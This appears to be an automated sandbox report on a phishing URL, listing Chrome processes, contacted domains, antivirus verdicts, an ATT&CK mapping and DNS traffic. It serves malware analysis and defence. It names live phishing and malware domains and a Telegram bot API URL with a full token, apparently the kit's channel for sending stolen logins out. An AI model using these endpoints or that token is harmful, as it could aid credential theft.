Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 172.67.155.9:443 -> 192.168.2.16:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.9:443 -> 192.168.2.16:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.58.27:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.35.164:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.16:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.154.53:443 -> 192.168.2.16:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.138.106.26:443 -> 192.168.2.16:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.73.2:443 -> 192.168.2.16:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.138.106.26:443 -> 192.168.2.16:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.73.2:443 -> 192.168.2.16:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.231.16.77:443 -> 192.168.2.16:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.212.94.98:443 -> 192.168.2.16:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.231.16.77:443 -> 192.168.2.16:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.212.94.98:443 -> 192.168.2.16:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.16:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.34.181:443 -> 192.168.2.16:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.34.181:443 -> 192.168.2.16:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.16:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.147:443 -> 192.168.2.16:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49778 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6928_1527862924

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6928_1527862924

Jump to behavior

Source: classification engine

Classification label: mal88.phis.troj.win@24/60@50/16

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,3200412770660081883,9196511062937498215,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2200 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://nrro.ogquwu.top/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,3200412770660081883,9196511062937498215,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2200 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	12 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://nrro.ogquwu.top/	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://oka.greenthreads.hr/background.jpg	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/chunks/framework-2c79e2a64abdb08b.js	0%	Avira URL Cloud	safe
https://nrro.ogquwu.top/styles.css	0%	Avira URL Cloud	safe
https://classntfst.shop/ne/	100%	Avira URL Cloud	malware
https://nerhol.constructlonjproy.com/favicon.ico	100%	Avira URL Cloud	phishing
https://patnero.thesilent.de/api/get_doc_url	0%	Avira URL Cloud	safe
https://nrro.ogquwu.top/script.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/chunks/main-de1ad41d606513c1.js	0%	Avira URL Cloud	safe
https://nrro.ogquwu.top/cdn-cgi/challenge-platform/h/b/jsd/r/0.03437329500068646:1742833486:iuQrk-AcpKdyZCap5AMcxFsdMyevLxwENAPso7axLao/9257d3764fced911	0%	Avira URL Cloud	safe
https://nerhol.constructlonjproy.com/cdn-cgi/styles/cf.errors.css	100%	Avira URL Cloud	phishing
https://oka.greenthreads.hr/_next/static/chunks/webpack-ee7e63bc15b31913.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/nJY9rCDP1SlCE9MB38Ggm/_buildManifest.js	0%	Avira URL Cloud	safe
https://nrro.ogquwu.top/cdn-cgi/challenge-platform/h/b/scripts/jsd/708f7a809116/main.js?	0%	Avira URL Cloud	safe
https://nrro.ogquwu.top/cdn-cgi/challenge-platform/scripts/jsd/main.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/chunks/pages/index-2b6248c5408d9da6.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/favicon.ico	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/nJY9rCDP1SlCE9MB38Ggm/_ssgManifest.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/chunks/186-e401717d9e8b842b.js	0%	Avira URL Cloud	safe
https://nerhol.constructlonjproy.com/cdn-cgi/images/icon-exclamation.png?1376755637	100%	Avira URL Cloud	phishing
https://oka.greenthreads.hr/_next/static/chunks/pages/_app-aea6920bd27938ca.js	0%	Avira URL Cloud	safe
https://nrro.ogquwu.top/favicon.ico	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/css/19d09a6113afa007.css	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
nerhol.constructlonjproy.com	104.21.34.181	true	false	high
d26p066pn2w0s0.cloudfront.net	108.138.106.26	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
patnero.thesilent.de	216.24.57.1	true	false	high
classntfst.shop	172.67.154.53	true	false	high
trestle.proxy.rlwy.net	35.212.94.98	true	false	high
www.gravatar.com	192.0.73.2	true	false	high
nrro.ogquwu.top	172.67.155.9	true	false	high
oka.greenthreads.hr	76.76.21.21	true	false	high
www.google.com	142.251.35.164	true	false	high
api.telegram.org	149.154.167.220	true	false	high
api64.ipify.org	173.231.16.77	true	false	high
rail-bot-production.up.railway.app	unknown	unknown	false	high
logo.clearbit.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://oka.greenthreads.hr/background.jpg	true	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=2YiGwBt7zJ7GVOVVvPGfW%2Fo8xZZg45HFoC%2FHvaqhQfSyKcZo5mgzB96MFcrt11f936K8t0isejdehe3dkjWH%2F%2By1BirVy%2FBWaxKc5TdQlHgq%2B7hCUM9Z7I1cL0o1Z6QNKIQ%3D	false		high
https://nrro.ogquwu.top/cdn-cgi/challenge-platform/h/b/jsd/r/0.03437329500068646:1742833486:iuQrk-AcpKdyZCap5AMcxFsdMyevLxwENAPso7axLao/9257d3764fced911	false	Avira URL Cloud: safe	unknown
https://nerhol.constructlonjproy.com/favicon.ico	false	Avira URL Cloud: phishing	unknown
https://nrro.ogquwu.top/styles.css	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot7622174179:AAHCV1oWQuJrs_r4R6A1iMz0oaj3zWCQiPk/sendMessage	false		high
https://nrro.ogquwu.top/script.js	false	Avira URL Cloud: safe	unknown
https://www.gravatar.com/avatar/85810ccb10afdd892ef5940532b283f0?d=identicon	false		high
https://api64.ipify.org/?format=json	false		high
https://oka.greenthreads.hr/_next/static/chunks/framework-2c79e2a64abdb08b.js	true	Avira URL Cloud: safe	unknown
https://classntfst.shop/ne/	false	Avira URL Cloud: malware	unknown
https://nerhol.constructlonjproy.com/cdn-cgi/styles/cf.errors.css	false	Avira URL Cloud: phishing	unknown
https://patnero.thesilent.de/api/get_doc_url	false	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/	true		unknown
https://oka.greenthreads.hr/_next/static/chunks/main-de1ad41d606513c1.js	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/_next/static/nJY9rCDP1SlCE9MB38Ggm/_buildManifest.js	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/_next/static/nJY9rCDP1SlCE9MB38Ggm/_ssgManifest.js	true	Avira URL Cloud: safe	unknown
https://rail-bot-production.up.railway.app/api/detect_bot	false		high
https://a.nel.cloudflare.com/report/v4?s=B8tKcm27XIZSNqXoK6imbi9fEO8Ep3HUTmuhuav0Cnp9089h6drYX4on5RlUy2ntlSp5wJncoEipu%2BRPrHqooZ2ec27bT%2Fm%2F%2FCw3MdO0izseWowO0N%2BSnxzudGQSWs27vbA%3D	false		high
https://oka.greenthreads.hr/_next/static/chunks/webpack-ee7e63bc15b31913.js	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/_next/static/chunks/186-e401717d9e8b842b.js	true	Avira URL Cloud: safe	unknown
https://nrro.ogquwu.top/cdn-cgi/challenge-platform/h/b/scripts/jsd/708f7a809116/main.js?	false	Avira URL Cloud: safe	unknown
https://nerhol.constructlonjproy.com/	false		unknown
https://logo.clearbit.com/gmail.com	false		high
https://oka.greenthreads.hr/_next/static/chunks/pages/index-2b6248c5408d9da6.js	true	Avira URL Cloud: safe	unknown
https://nrro.ogquwu.top/cdn-cgi/challenge-platform/scripts/jsd/main.js	false	Avira URL Cloud: safe	unknown
https://nrro.ogquwu.top/	false		unknown
https://a.nel.cloudflare.com/report/v4?s=Iz1Y5PMDbT04BXAmnOo5GmyMt7yJNC6WFI0sksuxhunoFne9YUHUcZAoV7O7LQMLEttNFmPYxqc390Mo3I8JIboviCoJilzYG5i7xQcMb7vaUGXhj9YoNFSs3aHi7Hlpn%2B5xkqvMbaVnDlNvSUmu	false		high
https://oka.greenthreads.hr/favicon.ico	true	Avira URL Cloud: safe	unknown
https://nerhol.constructlonjproy.com/cdn-cgi/images/icon-exclamation.png?1376755637	false	Avira URL Cloud: phishing	unknown
https://oka.greenthreads.hr/_next/static/chunks/pages/_app-aea6920bd27938ca.js	true	Avira URL Cloud: safe	unknown
https://nrro.ogquwu.top/favicon.ico	false	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/_next/static/css/19d09a6113afa007.css	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	chromecache_67.1.dr, chromecache_59.1.dr	false	high
https://api.telegram.org/bot	chromecache_71.1.dr	false	high
https://api64.ipify.org?format=json	chromecache_70.1.dr, chromecache_71.1.dr	false	high
https://www.cloudflare.com/5xx-error-landing	chromecache_67.1.dr, chromecache_59.1.dr	false	high
https://feross.org	chromecache_69.1.dr	false	high
https://vercel.live/_next-live/feedback/feedback.js	chromecache_90.1.dr	false	high
https://www.gravatar.com/avatar/	chromecache_71.1.dr	false	high
https://logo.clearbit.com/	chromecache_71.1.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
216.24.57.1	patnero.thesilent.de	United States	397273	RENDERUS	false
104.21.34.181	nerhol.constructlonjproy.com	United States	13335	CLOUDFLARENETUS	false
172.67.154.53	classntfst.shop	United States	13335	CLOUDFLARENETUS	false
108.138.106.26	d26p066pn2w0s0.cloudfront.net	United States	16509	AMAZON-02US	false
192.0.73.2	www.gravatar.com	United States	2635	AUTOMATTICUS	false
172.67.163.147	unknown	United States	13335	CLOUDFLARENETUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.58.27	unknown	United States	13335	CLOUDFLARENETUS	false
35.212.94.98	trestle.proxy.rlwy.net	United States	19527	GOOGLE-2US	false
172.67.155.9	nrro.ogquwu.top	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.251.35.164	www.google.com	United States	15169	GOOGLEUS	false
173.231.16.77	api64.ipify.org	United States	18450	WEBNXUS	false
76.76.21.21	oka.greenthreads.hr	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.16
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1647351
Start date and time:	2025-03-24 18:17:37 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://nrro.ogquwu.top/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.phis.troj.win@24/60@50/16

Warnings

Exclude process from analysis (whitelisted): SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.32.99, 142.250.65.238, 172.253.115.84, 142.250.72.110, 142.251.41.14, 142.251.40.238, 142.251.40.234, 142.250.80.74, 142.250.64.74, 142.251.41.10, 142.250.80.10, 172.217.165.138, 142.250.64.106, 142.250.72.106, 142.250.176.202, 142.250.80.42, 142.251.40.202, 142.251.40.170, 142.251.40.138, 142.250.80.106, 142.251.40.106, 142.251.35.170, 142.250.80.46, 142.251.32.110, 142.251.40.206, 142.250.65.174, 142.251.40.110, 142.251.35.163, 142.251.40.163, 52.149.20.212, 184.31.69.3, 40.126.24.83, 23.44.203.197
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, login.live.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://nrro.ogquwu.top/

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1515), with no line terminators
Category:	dropped
Size (bytes):	1515
Entropy (8bit):	5.288161100448261
Encrypted:	false
SSDEEP:	24:NQiVY49x35poVuJbn81ekVXVYFf+8HWvKhbNCemICebO/Vlc5Mz8Dj2pLerSvJKJ:6OY+bvo1HXVufFAoNdCebONw4OKMeMJ
MD5:	358DF2F88C6CB7B259F7DFA5095500D5
SHA1:	61141300014610F6DF77001775A2B8685B2985A0
SHA-256:	6714626B550B8D9D9FBF11B56DC2CDFF65466D4E2BF4293FF5B92952B232393D
SHA-512:	D45645CD0F4CEC02A7768C24A10D0D687F0A9A07875E203B51CCDBAF45DCB352D7C7DDFA626A57A5A8D097BF567D46FEC5D96744BC35CE47682C1E39D42F52AC
Malicious:	false
Reputation:	low
Preview:	.Index_loginContainer__5jP50{text-align:center;height:100vh;display:flex;justify-content:center;align-items:center;background:url(/background.jpg) no-repeat 50% fixed;background-size:cover;color:#333}.Index_loginBox__TjgDC{background:hsla(0,0%,100%,.9);border-radius:10px;padding:20px;width:300px;box-shadow:0 4px 6px rgba(0,0,0,.1);outline:2px solid #000}.Index_logo___RQb3{width:64px;height:64px;margin:0 auto 20px}.Index_instruction__zKWvQ{font-family:Arial,sans-serif;font-size:16px;color:#555;margin-bottom:20px}.Index_modal__Vdljb{position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.5);display:flex;justify-content:center;align-items:center;z-index:1000}.Index_modalContent__dAUWU{background:#fff;padding:20px 30px;border-radius:10px;text-align:center;font-size:18px;font-weight:700}.Index_dots__9eVYy{display:inline-block;animation:Index_dots__9eVYy 1.2s steps(4) infinite}@keyframes Index_dots__9eVYy{0%{content:""}25%{content:"."}50%{content:".."}75%{content:"..."}}.Index_en

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 24, 2025 18:18:06.966412067 CET	53	61423	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:07.021342039 CET	53	51877	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:07.601310015 CET	57617	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:07.601586103 CET	65020	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:07.750109911 CET	53	65020	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:07.861603022 CET	53	58110	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:07.918282032 CET	53	58286	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:07.964129925 CET	53	57617	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:09.889153004 CET	58576	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:09.889312029 CET	56989	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:09.994777918 CET	53	56989	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:09.995978117 CET	53	58576	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:10.818454027 CET	54339	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:10.818610907 CET	60247	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:11.012690067 CET	53	54339	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:11.014403105 CET	53	60247	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:11.405045033 CET	59433	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:11.405203104 CET	59929	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:11.510876894 CET	53	59929	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:11.511490107 CET	53	59433	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:12.297527075 CET	54368	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:12.297708988 CET	51864	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:12.643984079 CET	53	54368	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:13.439285040 CET	53	51864	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:13.914305925 CET	61784	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:13.914534092 CET	62792	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:13.914907932 CET	56459	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:13.915191889 CET	55430	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:13.919222116 CET	55744	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:13.919383049 CET	60015	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:14.022150993 CET	53	56459	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:14.181420088 CET	53	61784	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:14.194233894 CET	53	62792	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:14.242010117 CET	53	60015	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:14.243689060 CET	53	55430	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:14.309098959 CET	53	55744	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:15.042810917 CET	59532	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:15.043010950 CET	62761	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:15.160657883 CET	53	62761	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:15.163623095 CET	53	59532	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:15.814909935 CET	58274	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:15.815030098 CET	49279	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:16.159671068 CET	53	58274	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:16.160409927 CET	53	49279	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:20.431605101 CET	55937	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:20.431777000 CET	60587	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:20.478562117 CET	53	53704	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:20.601593018 CET	53	60587	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:20.646874905 CET	53	55937	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:24.971055984 CET	53	62128	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:25.051271915 CET	53	57247	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:29.517673969 CET	54335	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:29.517987967 CET	54675	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:29.519032001 CET	59399	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:29.519227028 CET	59856	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:29.622898102 CET	53	59856	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:29.629210949 CET	53	54675	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:29.636682034 CET	53	54335	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:29.660795927 CET	53	59399	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:30.041376114 CET	52513	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:30.041520119 CET	49704	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:30.116261959 CET	59344	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:30.116415977 CET	57471	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:30.145785093 CET	53	49704	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:30.146615028 CET	53	52513	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:30.221594095 CET	53	57471	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:30.223792076 CET	53	59344	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:35.836703062 CET	57120	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:35.836843967 CET	57297	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:35.942924976 CET	53	57120	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:35.943695068 CET	53	57297	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:36.548785925 CET	50308	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:36.548939943 CET	61525	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:36.549206972 CET	52681	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:36.549326897 CET	53169	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:36.659306049 CET	53	52681	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:36.686408997 CET	53	50308	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:36.696562052 CET	53	53169	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:38.093905926 CET	54569	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:38.094599009 CET	50672	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:38.095454931 CET	53426	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:38.095593929 CET	62792	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:38.208961964 CET	53	54569	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:38.213068962 CET	53	53426	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:38.258873940 CET	53	50672	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:38.333355904 CET	53	62792	1.1.1.1	192.168.2.16
